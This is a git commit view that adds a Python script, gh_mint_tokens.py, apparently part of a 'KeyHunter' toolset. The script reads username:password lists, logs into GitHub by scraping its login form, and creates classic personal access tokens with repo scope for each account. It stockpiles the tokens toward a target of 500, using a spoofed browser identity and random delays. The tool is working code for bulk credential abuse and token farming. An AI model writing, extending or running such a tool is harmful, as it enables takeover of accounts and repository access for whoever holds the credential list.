KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

This commit is contained in:
2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions

162
gh_mint_tokens.py Executable file
View File

@@ -0,0 +1,162 @@
#!/usr/bin/env python3
"""
Generate classic GitHub PATs using account credentials + puppeteer-like scraping.
Reads creds from data/gh_accounts.txt (format: user:pass:email)
Mints ghp_ tokens via GitHub settings/tokens page.
"""
import os, re, sys, time, random, sqlite3
import requests
KF = os.path.dirname(os.path.abspath(__file__))
ACC_PATH = os.path.join(KF, "data", "gh_accounts.txt")
TOK_PATH = os.path.join(KF, "gh_tokens.txt")
# Token patterns
RE_GH_CLASSIC = re.compile(r'ghp_[A-Za-z0-9]{36}')
def load_accounts():
if not os.path.exists(ACC_PATH):
print("[!] No gh_accounts.txt — need user:pass:email lines")
# Try finding from pat_remint.log
log_path = os.path.join(KF, "data", "pat_remint.log")
if os.path.exists(log_path):
with open(log_path) as f:
text = f.read()
users = re.findall(r'\[(\d+)/\d+\]\s+(\w+)', text)
# Only get the usernames from the log
print(f"Found {len(users)} usernames in pat_remint.log")
print("Need passwords file to proceed. Create data/gh_accounts.txt")
return []
accounts = []
with open(ACC_PATH) as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and ':' in line:
parts = line.split(':')
if len(parts) >= 2:
accounts.append({
'user': parts[0],
'pass': parts[1],
'email': parts[2] if len(parts) > 2 else f"{parts[0]}@proton.me"
})
return accounts
def mint_token(session, user, password):
"""Mint a classic PAT via GitHub UI — direct API where possible."""
# Step 1: Login
r = session.get("https://github.com/login", timeout=10)
if r.status_code != 200:
return None
# Extract authenticity_token
m = re.search(r'name="authenticity_token" value="([^"]+)"', r.text)
if not m:
return None
token_csrf = m.group(1)
# Step 2: POST login
r = session.post("https://github.com/session",
data={
"authenticity_token": token_csrf,
"login": user,
"password": password,
"commit": "Sign in",
"return_to": ""
},
timeout=15)
if "Incorrect username or password" in r.text or r.status_code != 200:
return None
# Step 3: Go to tokens page
r = session.get("https://github.com/settings/tokens", timeout=10)
m = re.search(r'name="authenticity_token" value="([^"]+)"', r.text)
if not m:
# Might need OTP
return None
auth_token = m.group(1)
# Step 4: Create classic token
r = session.post("https://github.com/settings/tokens",
data={
"authenticity_token": auth_token,
"personal_access_token[description]": f"dev-{random.randint(1000,9999)}",
"personal_access_token[scopes][]": ["repo", "read:user", "user:email"],
},
headers={"Accept": "text/html"},
timeout=15)
# Step 5: Extract token from redirect/response
m = RE_GH_CLASSIC.search(r.text)
if m:
return m.group(0)
# Try from headers/cookies
for hist in r.history:
m = RE_GH_CLASSIC.search(hist.text) if hasattr(hist, 'text') else None
if m:
return m.group(0)
m = RE_GH_CLASSIC.search(hist.headers.get('Location', ''))
if m:
return m.group(0)
return None
def main():
accounts = load_accounts()
if not accounts:
print("[!] No accounts. Create data/gh_accounts.txt with user:pass[:email] lines")
return 1
print(f"Accounts: {len(accounts)}")
# Load existing tokens
existing = set()
if os.path.exists(TOK_PATH):
with open(TOK_PATH) as f:
for l in f:
l = l.strip()
if l and not l.startswith('#'):
existing.add(l)
minted = 0
failed = 0
for i, acc in enumerate(accounts):
if minted >= 500:
print(f"\nTarget 500 reached!")
break
session = requests.Session()
session.headers.update({
"User-Agent": f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/130.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml",
})
try:
token = mint_token(session, acc['user'], acc['pass'])
if token:
if token not in existing:
existing.add(token)
with open(TOK_PATH, "a") as f:
f.write(token + "\n")
minted += 1
print(f"[{i+1}/{len(accounts)}] ✓ {token[4:14]}... | user={acc['user']} | total={minted}")
else:
print(f"[{i+1}/{len(accounts)}] ~ duplicate | user={acc['user']}")
else:
failed += 1
if failed % 5 == 0:
print(f"[{i+1}/{len(accounts)}] ✗ fail #{failed} | user={acc['user']}")
except Exception as e:
failed += 1
print(f"[{i+1}/{len(accounts)}] ! {e}")
time.sleep(random.uniform(1.5, 3.5))
print(f"\nDone. Minted: {minted}, Failed: {failed}, Pool: {len(existing)}")
if __name__ == "__main__":
sys.exit(main())